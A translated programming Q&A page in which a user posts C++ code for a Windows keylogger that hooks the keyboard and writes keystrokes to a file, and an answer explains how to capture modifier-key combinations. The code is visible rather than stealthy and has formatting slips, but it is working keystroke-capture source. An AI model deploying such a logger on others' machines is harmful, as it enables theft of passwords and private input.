如何制作键盘记录程序
How to make a keylogger?
我已经用C代码做了一些键盘记录:
define _WIN32_WINNT 0x0500
include<fstream>
include<windows.h>
using namespace std;
ofstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// si la tecla es presionada
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
// teclas invisibles
case VK_CAPITAL: out << "<CAPLOCK>"; break;
case VK_LSHIFT: out << "<LSHIFT>"; break;
case VK_RSHIFT: out << "<RSHIFT>"; break;
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_LMENU: out << "<LEFT MENU>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DEL>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<DOWN>"; break;
case VK_BACK: out << "<BACKSPACE>"; break;
case VK_TAB: out << "<TAB>"; break;
case VK_RETURN: out << "<ENTER>"; break;
case VK_PAUSE: out << "<PAUSE>"; break;
case VK_MENU: out << "<ALT>"; break;
case VK_ESCAPE: out << "<ESC>"; break;
case VK_SPACE: out << "< >"; break;
case VK_PRIOR: out << "<PAGE UP>"; break;
case VK_NEXT: out << "<PAGE DOWN>"; break;
case VK_HOME: out << "<HOME>"; break;
case VK_SELECT: out << "<SELECT>"; break;
case VK_EXECUTE: out << "<EXECUTE>"; break;
case VK_SNAPSHOT: out << "<SNAPSHOT>"; break;
case VK_HELP: out << "<HELP>"; break;
case VK_F1: out << "<F1>"; break;
case VK_F2: out << "<F2>"; break;
case VK_F3: out << "<F3>"; break;
case VK_F4: out << "<F4>"; break;
case VK_F5: out << "<F5>"; break;
case VK_F6: out << "<F6>"; break;
case VK_F7: out << "<F7>"; break;
case VK_F8: out << "<F8>"; break;
case VK_F9: out << "<F9>"; break;
case VK_F10: out << "<F10>"; break;
case VK_F11: out << "<F11>"; break;
case VK_F12: out << "<F12>"; break;
case 93: out << "<CONTEXT MENU>"; break;
//fin de las teclas invisibles
default:
out << char(tolower(p->vkCode));
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
// Set windows hook
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
MessageBox(NULL, "Presione Aceptar para dejar de Registrar.", "Información", MB_OK);
out.close();
return 0;
}
}
这段代码只注册了我已经定义的一堆键,但它没有捕获复合键,例如"@"符号的alt+e、shift+8或ctrl+alt+2。
我做了一些研究,发现了一个名为RegisterHotKey
的函数,但我不知道如何在上面的代码中使用它。如何修复我的代码以注册所有键,包括键的组合?
您不需要RegisterHotKey()
。如果查看WM_KEYDOWN的文档,可以看到有一些位指示是否按下了Alt、Shift和Ctrl键。使用它们。
相关文章:
- 为什么Qt Creator的应用程序输出不能从spdlog记录器打印
- 逐行跟踪和记录 c++ 程序的执行
- 使用完美记录进行分析Linux应用程序
- 在不存在的记录上调用 remove 会使程序崩溃
- 在后台记录 Eclipse IDE 调用的应用程序列表
- CUDA 程序不测量执行时间:cuda事件记录
- 尝试将数据从记录读取到程序(C++)时难以捉摸的错误
- 多线程应用程序中的独立日志记录
- 运行此程序时的垃圾数据(学生记录程序)
- 如何使用doxygen记录应用程序源文件
- 尝试在hash_map中查找记录时应用程序崩溃
- 无法从我创建的 c 二进制程序中删除记录
- 程序不计算记录数
- c++ 从文件中读取双倍,但如果程序遇到字符串,则记录
- 流记录程序VLC
- 这是C ++程序领域中最流行的开源日志记录软件/程序
- 为什么我的程序最多只能编译 16 条记录
- 正在比较标头记录值和读取程序崩溃的行数.C++
- 一个简单的PC应用程序制造商的数据记录应用程序
- 在 C++11 应用程序中进行错误日志记录的优雅方法